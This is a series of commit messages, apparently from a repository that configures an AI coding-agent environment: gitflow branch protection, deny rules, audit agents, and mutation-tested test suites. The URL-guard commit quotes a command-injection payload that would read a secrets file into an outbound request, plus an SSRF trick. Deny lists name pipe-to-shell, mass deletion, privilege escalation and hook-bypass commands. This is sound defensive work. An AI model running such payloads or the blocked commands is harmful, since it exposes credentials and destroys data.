Since BDR-095 `start` sets an auto-pushed upstream, so `git branch -d`
checked "merged into origin/<branch>" (always true, the post-commit hook
keeps it in sync) instead of "merged into develop". T22a proves it: an
unmerged feature with its upstream in sync is deleted by `-d` alone.
- `gitflow_delete` is the single delete path (finish + CLI `delete`):
refuses main/develop (rc 6) and any branch that is not an ancestor of
develop or main (rc 5, `gitflow_merged_into_base`, fail closed when
neither base exists), then `-d` as a second layer. CLI `merged`, `hooks`.
- Fourth generated hook `reference-transaction`: in the `prepared` call,
a deletion of refs/heads/main or refs/heads/develop exits 1, whatever
issued it (branch -d/-D, update-ref -d, rename, script, sub-agent).
`git config gitflow.protect false` opts a foreign clone out.
- `GITFLOW_HOOKS` is the one hook list: write/emit/reconcile, T19d and
doctor.sh (`gitflow.sh hooks`) read it. `.githooks/` and `githooks/`
regenerated with the fourth hook.
- settings.json: static deny on hand `git branch -d/--delete/-dr/-rd` and
on renames of main/develop; hard_deny "Branch deletion by hand"; the
Disarming entry covers all four hooks and `gitflow.*` config; the
protected-branches environment line states the rule.
- Doctrine (CLAUDE.global.md gitflow section), gitflow SKILL (`delete`
op, rc 5/6 rows, common mistake), guard-bash spec T8w flips to deny,
SETTINGS.md, README, CHANGELOG.
- Tests: T22 (12) lib guard incl. the premise proof, T23 (11) hook;
T19 covers the fourth hook. 152/154, the 2 failures are the
pre-existing T16a (gitleaks absent on this host).
Global: `make link` generates githooks/ from lib/gitflow.sh and sets git's
global core.hooksPath to ~/.claude/githooks, so every repo on the machine
runs the pre-commit protection and the post-commit / post-merge push, even
one that never ran gitflow init. A repo's own local core.hooksPath still
wins, so hooks/session-start.sh calls `gitflow reconcile-hooks` once per
session and rewrites a .githooks/ that lags the lib (LRN-114 automated);
the pre-commit exemption now covers .githooks/** next to .claude/**.
Per-repo opt-outs for a foreign clone: `git config gitflow.protect false`
(branch model) and `git config gitflow.autopush false` (push). Both, and
the GIT_CONFIG_GLOBAL= / GIT_CONFIG= env bypass, are static deny rules.
`make test` and the two suites that commit on main export
GIT_CONFIG_GLOBAL=/dev/null so the machine's global hooks never fire in
throwaway repos. doctor gains "Git hooks" (global setting, githooks/ equal
to the emitters) and "Scratchpad" (warn when TMPDIR sits on a tmpfs with
usrquota: systemd caps each user at 80% of it, which killed two shells
today, BLK-021). Tests: T18h, T19d, T20 (reconcile), T21 (whitelist and
protect opt-out); this repo's own stale .githooks/ refreshed.
Layer C of the plan written after the 2026-09-21 wipe (BDR-095): a reviewer
sub-agent traced `lftp mirror --delete` against a local file:// tree, the
prose tiers named neither lftp nor a local trace, the brief had authorized
it, and four days of commits had never left the machine.
- gitflow: `start` pushes the branch with its upstream, merge targets are
pushed after each merge, and `init`/`install-hook` write post-commit and
post-merge hooks that push every commit as it lands (warn, never block;
GITFLOW_NO_PUSH=1 for throwaway repos). T18 + T19 (installed == emitted).
- hooks/unpushed-guard.sh on SessionStart and Stop: branch ahead of its
upstream, no upstream, or no origin. Non-blocking systemMessage.
- settings.json: static deny for transfer and mirror tools, rsync --delete,
xargs rm, pipe-to-shell, chmod/chown -R, sudo/doas/pkexec, disk tools,
chattr, docker volume drops/prune/--privileged/socket/-v /:, git history
destruction, --no-verify and core.hooksPath; new hard_deny "destructive
tool against a local path, brief carries no user authority"; soft_deny
reworded + discarding uncommitted work; environment records the incident.
- CLAUDE.global.md "Destructive tools & data loss"; the four report-only
agents trace by reading, never by running, whatever the brief says.
- lib/tests/guard-bash.test.sh: executable spec of the PreToolUse guard
(214 cases). The hook itself is not shipped (BLK-022); the spec skips.
Upstream supersedes `@21st-dev/magic` with `@21st-dev/cli` (bin `21st`):
same endpoint, `21st login` in place of an API key, no MCP process loaded
into every session.
- install-plugins.sh Step 8.7: `npm i -g @21st-dev/cli` (pinned in
plugins.lock.json), staged `21st skills install`, TTY-only login offer,
pack disabled by default. update-all.sh 7.4 refreshes both.
- The documented `21st install-skill` cannot be used: the installer refuses
to follow a symlink on the target path and `~/.claude/skills` is one. The
install runs under a throwaway HOME and the result moves into
skills-external/21st-* (gitignored), symlinked on demand.
- toggle-external.sh manages `21st` as a pack (names globbed from
skills-external/21st-*, parked under plain names). `magic` is gone.
- The 5 design skills join design/web/web-full/full and MANAGED_EXTERNALS;
21st-registry and 21st-design-sync stay parked. MANAGED_MCPS is now empty
and profile.sh's dead magic branches are removed.
- Design gate: GATE-BLOCK gains `21st` (required-manual, magic's old slot)
and `21st-ui-build`; PATH repair extended to the npm global bin.
- settings.json: the 4 mcp__magic__* ask entries go; the outward-facing
21st verbs land in autoMode.soft_deny, the tier that holds under auto
mode (LRN-153).
- Docs: README, CLAUDE.global.md, design-gate.md, profile SKILL.md,
.env.example, .gitleaks.toml, link.sh. BDR-093, LRN-158.
Tests: profile-set-managed 17/17, make test green except 2 pre-existing
gitflow FAILs (gitleaks binary absent on this host), shellcheck clean.
Extract gstack_bump_playwright_if_unsupported from install-plugins.sh into
lib/gstack-playwright.sh and call it from update-all.sh too. A submodule
update no longer leaves the OS-support bump unapplied until the next
`make plugin` — that was BDR-029's open caveat.
The update helper never touches the submodule working tree: on failure it
prints git's own message and points at `make plugin`, and returns non-zero
so the existing `else warn` arm still handles it.
Add a read-only `Playwright browsers` section to doctor.sh: cache size,
which registered install requires each revision, and counts of unreferenced
directories and broken links. No pruning is written — Playwright's own
`install` already unions the required set across every registered install,
and all three installs here are live (rev 1228 for gstack + gsd-pi 1.61,
rev 1243 for gsd-pi 1.63).
Carries two latent-bug fixes from the moved code: the ostag capture exited
1 on every non-Ubuntu host and aborted the caller under inherited errexit,
and the bun calls had no timeout.
Two or more project paths dispatch one general-purpose runner per repo,
all in a single message, instead of processing repos one by one. The
runner inherits the session model — no pin, it carries tour's reflection
(fix decisions, convergence) — and every agent inside keeps its defined
tier (security-auditor sonnet, Phase B opus, doc-syncer sonnet). A dead
or mute runner becomes an explicit RUNNER FAILED summary row; the gated
capitalize offer stays in the main loop, never in a runner.
Bounded LRN-083 derogation recorded in BDR-084: the per-project fix loop
moves into its runner, but nothing a runner decides touches shared state
— independent repos, per-repo chore branches, branches left unmerged for
human review exactly as inline. Mechanics proven before building: nested
probe, 3 sub-agent windows all overlapping, 9.1s vs ~18s sequential.
Census §12: 6 locks, flip-tested. Single-project path unchanged.
The include is authoritative, but feat/bugfix/ship-feature/init-project
each restate the verify loop inline — an orchestrator following the
restatement alone would have skipped the floor. Each now carries the
GATE 0 bullet ahead of GATE 1 (4 new structure locks, flip-tested).
The contract-interview weight table stops promising a hotfix oracle
nothing executes: hotfix runs no floor, the hotfixer runs the suite
itself. CHANGELOG extended with the wiring + the RED result.
GATE 1 is an LLM dispatch and the verifier's mandatory PROOF: line is a line
the verifier writes — nothing structurally stops it being produced without
anything being executed. Nothing deterministic sat between the executor and
that dispatch.
An acceptance criterion can now carry an oracle: indented CHECK: (command),
EXPECT: (success-only marker), EVIDENCE: (slot). lib/gates.sh runs them
fail-closed — MET requires exit 0 AND the marker, so a nonzero process never
passes on its error text carrying the token — and writes the outcome back
into the contract, so the fresh verifier reads evidence as fact rather than
trusting the executor's report.
GATE 0 runs that floor before any verifier is dispatched; a red build sends
the executor back for free, on its own iteration budget. ABANDON: <id>
<reason> turns an impossible criterion into a visible handoff that blocks
CONFORME and routes to the human gate, via the new ABANDONED(n) verdict —
a distinct token because it routes distinctly, never a dev loop. feater and
bugfixer gain a four-pass completion discipline, scoped so a pass can never
widen the contract.
The runner's parse fails closed on partial oracles, duplicate ids,
unindented attributes and runnable criteria with no EVIDENCE: line, and
executes nothing at all when the ledger is malformed. status never executes
and never writes; run always re-executes, since trusting written evidence is
the failure being closed.
Adapted from the unlazy skill (Leonxlnx/unlazy, MIT). Its Stop hook,
approval store, .unlazy/ tree, depth-tree arithmetic and Node checker were
deliberately refused — BDR-083 records each reason.
64 assertions in lib/tests/gates.test.sh, non-execution proved by sentinel
with its own positive control asserted first.
Opus 5 follows conservative-reporting clauses literally; 'a manufactured
concern is a failure' risked suppressing real low-confidence findings.
In-place reword: ungrounded stays noise, grounded-but-uncertain files as
[MINOR] with the uncertainty in WHY:. OUTPUT grammar byte-identical;
census row added.
3rd tightening pass (series LRN-1005/1007): bare "ux" matched inside
French prose (2 logged FPs, both FR — latest "changement ux vu").
\bui\b kept: zero logged FP, one logged true positive, now locked by a
must-fire test row. Flip-tested: quiet row fired pre-change.
- MANAGED_EXTERNALS (emil-design-eng, frontend-design,
design-motion-principles, impeccable) + MANAGED_MCPS (magic):
cmd_set now trims both when the profile does not list them —
design leftovers no longer survive a 'set backend'
- cmd_set refactored to 4 symmetric trim helpers; nothing outside
the MANAGED_* allowlists is ever auto-toggled (darwin-skill manual)
- enable_skill external: from-source fallback (ln -sf
skills-external/<name>), mirrors toggle-external.sh
- stale usage() NOTE + SKILL.md updated to the both-ways reality
- hermetic test: 16 checks, fixture repo + fake claude shim (gstack
on-demand, from-source, park/restore, magic add/remove, non-managed
untouched); shellcheck + full make test green
Fresh-opus whole-chantier ronde (17fbe51..HEAD, EVAL-023 style): axes
severed-wires / gate-regressions / fail-open PROVEN CLEAN (all 7 new
handoffs traced end-to-end both sides). Fixed: init 5b now dispatches the
FULL-AUDIT path (auto-mode gated a missing README as SIGNIFICANT →
[CREATE-AUTO] unconditional restored, sole greenfield README path);
census locks added for /geo ERROR CONTRACT + never-re-derive (deleting
the fail-closed handler would have stayed green), doc-audit
model=opus override x5 flows, SYNTH REPORT grammar; doc-syncer ex-STEP-8
prose repointed to the dispatcher gate; plugin-advisor anim rows read
the PROBE REPORT ANIM field (no Bash anymore); client-handover 9.7
cleans the transient draft. Census caught one more line-wrapped lock
before it shipped vacuous. 133 pass / 0 fail, make test exit 0.
seo-analyzer + geo-analyzer gain MODE: collect|judge|template around the
dispatcher (mode-based, zero body-text moves — seo-data fetch-wiring
locks survive; opus pin kept = fail-safe direction, a forgotten override
over-tiers but never downgrades judgment). Run-scoped gitignored
signals handoff (.audit/*-signals-<RUNID>.md + COLLECTION COMPLETE
sentinel), judge fails closed on absent/mismatched/unsealed signals.
/seo rewired to 3 phases (domains parallel per phase) + DISPATCHER ERROR
CONTRACT (mute/ERROR judge never carried into templating; retry once,
escalate); /geo same single-domain; legacy no-MODE single-shot kept on
the opus pin for /harden narrow-scope + /onboard report-only. Dropped
/geo's 'ask and I relay' fiction (dispatched agents cannot ask).
In-wave smokes PASSED disk-verified: collect signals+sentinel; judge
ERROR-verdict on wrong RUNID; real judge = honest N/A + deterministic
engine + full scoring grammar; template = complete envelope + verbatim
sentinel + zero re-derivation. Census §18 (125 pass — one vacuous
line-wrapped lock caught by the census itself and fixed), make test
exit 0.
handover-doc-writer: MODE synthesize (model="opus" call-site — STEP
9/10/12 → .audit/handover-draft-<RUNID>.md + DRAFT COMPLETE sentinel) /
MODE render (sonnet pin — STEP 13-16 from the draft, fail-closed on
absent/mismatched RUNID). Mode-based, not a file split: the §9
name+dispatch census locks survive untouched. client-handover-writer 9.6
dispatches twice with the FULL PACKAGE both times (LRN-126) + RUNID mint
+ post-run draft cleanup. In-wave smokes PASSED disk-verified: draft
written+sentinel+gitignored; render BLOCKED on wrong RUNID (no phantom
synthesis); render consumed draft + honored skip-write, report grammar
intact. Census §17 (111 pass), make test exit 0.
Reverses the BDR-066 rejected alternative (opus pins on audit agents):
session default is now Fable, so inherit burned Fable quota on every
dispatched audit/challenge. analyzer, plan-challenger, seo/geo/
validator-analyzer pinned model: opus; onboard's 6 general-purpose
audit dispatches carry model="opus"; tour Phase B repointed.
interviewer + client-handover-writer stay unpinned (inline-load only,
a pin there is inert). settings.json default: claude-fable-5[1m].
Census flipped: model-routing §3 + new §11 (61 pass), loops-light 35,
full make test green.
STEP 1.8 (Option B): skip purely cosmetic fixes (CSS/copy/typo), run the 3-lens
challenge only when the fix touches control flow/behaviour (off-by-one, wrong
operator, behaviour-changing config, execution-altering import); a BLOCKER means
it was never a hotfix -> escalate to /bugfix. 12th orchestrator wired.
- skills/hotfix/SKILL.md — STEP 1.8 guarded challenge
- lib/tests/plan-challenger.test.sh — lock hotfix into the census (43 assertions)
After a plan/reflection is elaborated and before it executes, three fresh blind
sub-agents (correctness / robustness / simplicity) attack it on the big model;
the main loop RE-THINKS every aspect a BLOCKER lands (a named plan change, or
[deferred]) and re-challenges once if the plan materially changed. Advisory into
each skill's existing human gate — the human stays the decider.
- lib/challenge-plan.md — reusable phase: fail-safe (never fail open),
severity-driven (any single-lens BLOCKER = must-address), RE-THINK loop
- agents/plan-challenger.md — challenger role (read-only, big-model per BDR-066)
- lib/tests/plan-challenger.test.sh — 41-assertion structure lock
- wired into 11 orchestrators: ship-feature/init-project/feat/bugfix (build-plan),
onboard/audit-delta/code-clean (proposals), seo/geo/harden/web-validate (fix-bundle)
Hardened by dogfooding: 3 blind challengers reviewed this feature's own v1 plan
and caught 4 BLOCKERs (fail-open, consensus-buries-lone-finding, wrong model
tier vs BDR-066, false on-disk-plan premise) — all fixed here.
Full removal per user request: the PreToolUse hook that blocked model
Edit/Write on quality-gate files (settings.json, gitflow.sh, .githooks,
doctor.sh, hooks, lib/tests, lint configs) plus its one-shot sentinel.
- delete hooks/config-protection.sh
- delete lib/tests/config-protection.test.sh
- deregister the hook from settings.json (rtk-rewrite PreToolUse kept)
- drop the README mention
Residual protection unchanged: gitflow pre-commit guard + Gitea branch
protection still block direct code commits to main/develop.
Surfaced by dogfooding on a real Astro repo instead of reading the spec.
Claude Code installs a shell function routing `grep` to ugrep with
`--ignore-files`, so grep honours .gitignore and never descends into a
gitignored dist/. `find` honours nothing. seo-analyzer uses both.
Measured on zenquality (Astro, dist/ gitignored but built locally),
seo-analyzer.md:497 returned 92 images, 45 of them under dist/ — every asset
listed twice, source and generated copy, byte-identical. Two live
consequences:
- "top 20 by size" was ~10 real images dressed as 20.
- Batch C (`cwebp -q 80 <img> -o <img>.webp`) could target dist/og-image.png;
the .webp lands in dist/ and the `npm run build` the dispatcher runs to
VERIFY the fix erases it. Fix lands, verification passes, nothing survives,
report says applied.
lib/source-scope.sh separates source from build output, framework-aware.
`public/` is deliberately NOT excluded by default: it is Astro/Vite/Next
SOURCE and holds favicon.ico, apple-touch-icon.png and robots.txt — the very
files STEP 4 curls. It is build output only for Hugo/Gatsby, detected from
config (legacy config.toml alone is ambiguous, so it needs archetypes/ too).
Blanket-excluding it would blind the audit to its own resource checks.
findargs emits one token per line and MUST be consumed via a quoted array.
I shipped a flat-string version first and the dogfood caught it: the shell
globs */dist/* against the CWD and passes the matches to find as search
paths, which turned 90 hits into 135 and kept every dist/ file. Both the
header and a functional test now pin that.
Also: no bundle item may target build output, in either agent. That is the
real safety net — even if some future find leaks a dist path, the fix cannot
land there. Fix the source that generates the artifact; if the source cannot
be found, that is a finding, not a reason to patch the artifact.
SCOPE CORRECTION: the proposal claimed grep was auditing 86 generated files
instead of 9 templates. That was FALSE — the ugrep shim already skips them.
Killed my own premise before coding it; the real bug is narrower and lives in
find only. Do NOT "fix" the grep lines to match: they are already correct,
and adding these exclusions there would drop public/.
Verified: 90 -> 45 images on the real repo, 0 dist survivors, public/
preserved (favicon.ico still visible); 34 new assertions PASS / 0 FAIL; full
suite green; shellcheck clean. Test file addition used the documented
one-shot config-edit sentinel.
Prerequisite for C1, which is why this moved up from AXE 5. Today $DOMAIN is
typed by the operator and interpolated into ~10 curls (seo-analyzer.md:254+,
geo-analyzer.md:248+) — self-inflicted risk. The sitemap crawl changes the
threat model completely: URLs then come from the TARGET'S OWN SERVER, so a
remote file's bytes reach a shell.
The severe hazard is injection, not SSRF. Those curls quote with ", inside
which $ and backtick still execute, and ~/.claude/.env holds
GOOGLE_OAUTH_CLIENT_SECRET + CRUX_API_KEY. A <loc> of
`https://x/$(cat ${HOME}/.claude/.env)` reads the vault into a request. The
test suite asserts exactly that payload is refused.
Code, not prose: a markdown instruction does not stop an injection. Mirrors
the house pattern (fetch.sh:25 _label_safe) — whole-string allowlist, C
locale, POSIX case: newline-proof, locale-independent, no grep pitfall.
Allowlist over denylist per CLAUDE.md.
Covers: shell metacharacters; scheme (http/https only — no file:, gopher:);
literal loopback/private/link-local/metadata/.local; userinfo authority
confusion (https://trusted.com@127.0.0.1/ hits .0.0.1, not trusted.com).
NOT covered, stated in the header rather than left silent: DNS-level SSRF. A
public hostname resolving to a private address passes. Closing it needs
resolve-then-pin at the HTTP layer; shell curl cannot without a TOCTOU
window. Proportionate to the threat model — this runs on a workstation
auditing the operator's own client sites.
Wired at all three entry points: both agents' STEP 4 domain assignment, and
the W3 sameAs loop (whose URLs come from the audited repo, not the operator).
Refused sameAs rows report as REFUSED rather than vanish — neither dead nor
live, and an unguardable sameAs is itself a finding.
Note: writing the test file tripped the config-protection hook (test suite is
a guarded quality-gate). Used the documented one-shot sentinel with a reason
rather than working around the gate; it was consumed as designed.
Verified: 47 new assertions PASS / 0 FAIL, picked up by make test; full suite
green; shellcheck clean on lib/url-guard.sh (the sole remaining hit in the
health-stack glob is pre-existing, lib/gitflow-test.sh:242); guard dogfooded
against the real zenquality.fr domain (accepted) and the real exfil payload
(refused, exit 2).
Reroute hotfix's deeper-bug escalation to the /bugfix skill (bugfixer is now a
pure executor, not loadable standalone). loops-light locks repointed to the
bugfix orchestrator + bugfixer-executor shape.
lib/tests/run-review-guards.sh — 5 whole-surface guards that RED if a banned
pattern subsists anywhere, auto-run by make test (run-*.sh glob):
G1 trailer (A1), G2 false CLAUDE.md attribution (A5), G3 strict-YAML frontmatter
(A4), G4 reconcile hermeticity (job3 B1), G5 hook-drift installed==emit (A2).
This is the check that would have caught A1/A4/A5/A2 at make-test time instead of
an adversarial review — the series' recurring failure was fixing one instance and
leaving twins. G3/G5 degrade to SKIP if pyyaml/emit-hook absent (portability).
Teeth verified: a planted trailer in a real agent REDs G1. Review fil rouge.
Any single-pipeline printenv/env dump now gets a redaction pipe appended
before it can reach stdout/transcript; `env VAR=x cmd` (legitimate
subprocess launch) is left intact. Compound commands (;, &, ||) bail
untouched — appending the pipe at the end would attach to the wrong
segment.
Discovered mid-implementation: rtk rewrite classifies any command
containing "env" as exit-code 2 ("deny"), with no settings.json rule
backing it — the command still reaches native evaluation and can run.
Adjusted case 2/1 handling so the redaction check runs regardless.
lib/deploy-commit.sh: a rejected `git commit` (pre-commit hook,
protected branch, signing failure) now exits 6 (loud stderr, distinct
from rc 1's "nothing to do") instead of sharing rc 1 with the no-op
cases. Header comment documents the full 0/1/2/3/4/5/6 taxonomy.
Closes J4-22 (UNTESTABLE): at client repos, a failed deploy-state
commit was indistinguishable BY EXIT CODE from "nothing to do" (rc 1
was shared 3 ways); exit-code-only callers couldn't disambiguate
(stderr-parsing callers already could).
Caller census (per report's explicit gate): skills/deploy/SKILL.md
documents and parses this exit-code contract in TWO places (bootstrap
commit + incident-recovery commit). Flagged to the user before
committing; confirmed GO to add rc 6 there too (additive — no existing
code's meaning changes) so the documented contract stays accurate for
live deploy runs.
New T10 in lib/tests/deploy-commit.test.sh (+3 assertions, 13→16):
rejecting pre-commit hook sandbox — asserts rc 6, empty stdout (no
stale hash), HEAD unmoved.
GREEN: full `make test` exit 0 (deploy-commit 16/16 incl. T10).
shellcheck clean, bash -n clean.
install-plugins.sh: mktemp failure building CFG_SNAPSHOT now aborts
the install loudly (err + exit 1) instead of warning and continuing
UNGUARDED — a failed guard used to mean CLAUDE.md/.claude/settings.json/
settings.json could be silently rewritten by graphify's installer for
the rest of that run. Closes §3.4.
Added T5 to lib/tests/curated-config-guard.test.sh: extracts the
WIDER header block (GUARDED_CONFIGS through the closing `fi` — the
fail-closed logic lives in the top-level if/else, outside
restore_curated_configs(), so it needs its own awk range) in a
subshell with a stubbed `mktemp` forced to fail; asserts exit 1 and a
loud "mktemp failed" message. +2 assertions (4→6).
Verified: bash -n clean, shellcheck clean (both files), full `make
test` exit 0.
New lib/tests/toggle-external-repo-resolution.test.sh: sandbox
replicating the real ~/.claude/lib -> <repo>/lib symlink layout,
invokes toggle-external.sh THROUGH the symlinked path and asks
`status emil-design-eng` (marked enabled in the physical repo tree).
Demonstrates J4-20 (UNTESTABLE + latent bug) against the CURRENT code,
on purpose — this commit is RED: reports "missing" instead of
"enabled", because toggle-external.sh:34's logical `cd` (no -P)
resolves REPO to the symlink's logical parent instead of the physical
repo root, so SKILLS_DIR/DISABLED_DIR point at the wrong tree. Same
BLK-006 bug class as profile.sh's historical breaks, un-ported here —
latent today (no in-repo caller hits direct `~/.claude/lib/...`
invocation), but reachable.
This intentionally reds `make test`. Next commit fixes it.
New T8 in lib/tests/run-deterministic.sh: pre-commit hook that always
rejects (exit 1), then attempts a memory-commit. Demonstrates J4-04
(UNTESTABLE, consequence CRITICAL) against the CURRENT code, on
purpose — this commit is RED: rc=0 (expected 5), stdout leaks the
stale (unchanged) HEAD hash instead of staying empty. `set -uo
pipefail` (no -e) means a rejected `git commit` doesn't stop the
function — it falls through to `git rev-parse --short HEAD`, which
prints the PREVIOUS HEAD and succeeds, so the caller sees what looks
like a valid hash for a commit that never happened. HEAD itself is
correctly unmoved (git did block it) — only the reporting is masked.
This intentionally reds `make test` (memory-commit.sh not yet fixed).
Next commit fixes it.
New T18-T20 in lib/tests/config-protection.test.sh (+4 assertions,
20→24). T18 Write payload, T19 MultiEdit payload → both exit 2 (pass
trivially today — the extraction is tool-name-agnostic — but lock
against a future narrowing to Edit-only; stated honestly, per report).
T20 sentinel containing ONLY whitespace bytes (" \n\t", not literally
empty) → exit 2 AND consumed — exercises config-protection.sh:44-46's
`grep -q '[^[:space:]]'` check specifically, which the pre-existing
T17 (zero-byte file) doesn't reach. Closes J4-07 (WEAK): every payload
in this suite said "Edit", so a future Edit-only narrowing (or a
weaker sentinel-emptiness check) would have failed open with no red.
DOUBLY GATED per report §3.5 (edits config-protection's own test) +
user's stated exception (STOP and show the exact draft before writing,
even though the formal AUTHORIZATION line said AUTHORIZED) — drafted
inline, user confirmed "proceed as drafted" before the sentinel/edit.
Mutations (lean scratch copy — only hooks/config-protection.sh + this
test file, not the whole repo/.git), one at a time, each reverted
before the next:
- T18/T19: gated the file_path extraction on `tool_name == "Edit"`
(python3 tool_name check + if/else) → both red alone, everything
else (incl. T1-T17) unaffected.
- T20: swapped the whitespace-aware `grep -q '[^[:space:]]'` for
`[ -n "$reason" ]` (byte-count only) → T20 reds alone; T17 (the
zero-byte case) stays green either way, confirming T20 tests
something T17 structurally cannot.
GREEN: real repo unmutated, 24/24 passed, shellcheck clean.
New S11-S13 in lib/tests/run-doc-shape.sh (+4 assertions, 19→23) +
truncate_last_n() helper (removes exactly N lines from the END of a
committed file — pure removal, 0 added lines, no heading, so the
ADDED-envelope and heading checks at doc-shape.sh:70/78 can't fire
first). Baseline = 40 plain committed lines, then truncated. S11
remove exactly 20 (== default DOC_SHAPE_MAX_REMOVED, `-gt` boundary)
→ within (0). S12 remove 30 → exceeds (1), stderr names the path. S13
DOC_SHAPE_MAX_REMOVED=5 override + 6-line removal → exceeds (1).
Closes J4-08 (WEAK): the REMOVED branch was never driven over
threshold by any existing case (S4 only removes 2 lines) — a
regression here mislabels a large doc deletion MINOR and doc-syncer's
auto-commit flow would swallow it silently (the exact RISK-1 BDR-040's
oracle exists for).
Mutation (lean scratch copy — only doc-shape.sh + run-doc-shape.sh,
not the whole repo/.git): changed `-gt "$DOC_SHAPE_MAX_REMOVED"` to
`-gt 2000` (doc-shape.sh:82). RED: S12 fails both assertions (30
removed no longer exceeds) and S13 fails (the hardcoded literal also
kills the env-override contract — DOC_SHAPE_MAX_REMOVED=5 no longer
has any effect). S11 stays green (20 removed was always within,
mutation-invariant). 3/3 reds land exactly where expected.
GREEN: real repo unmutated, 23/23 passed, shellcheck clean.
New lib/tests/curated-config-guard.test.sh (+4 assertions). Extracts
restore_curated_configs() from install-plugins.sh AT TEST RUNTIME via
awk '/^restore_curated_configs\(\) \{/,\/^\}/' (verified single-
occurrence, column-0 closing brace) so drift in the real script
propagates into the test instead of testing a frozen copy. Harness
defines GUARDED_CONFIGS/CFG_SNAPSHOT/REPO/info() itself (the array
literal at install-plugins.sh:41 is outside the extracted range).
Sandbox REPO with the 3 fake guarded files + a pre-populated
CFG_SNAPSHOT; mutates CLAUDE.md only (simulated installer drift);
asserts: mutated file restored byte-identical (cmp -s), the other two
guarded files' content unchanged (not touched by the restore loop),
snapshot dir removed. Closes J4-03 (CRITICAL): the guard against
graphify's installer clobbering CLAUDE.md/settings.json had zero test
coverage.
Mutation (copy of install-plugins.sh, lean scratch — only that one
file, not the whole repo/.git): inverted the cmp condition
(`! cmp -s` → `cmp -s`) at the line the report names. RED: T1 fails
(the mutated file no longer gets restored — the inverted condition
only copies when already identical, a no-op, and skips restoration
exactly when it's needed). T2/T3/T4 stay green, confirming the
mutation is localized to the restore path.
GREEN: real repo unmutated, PASS=4 FAIL=0, shellcheck clean.
bastien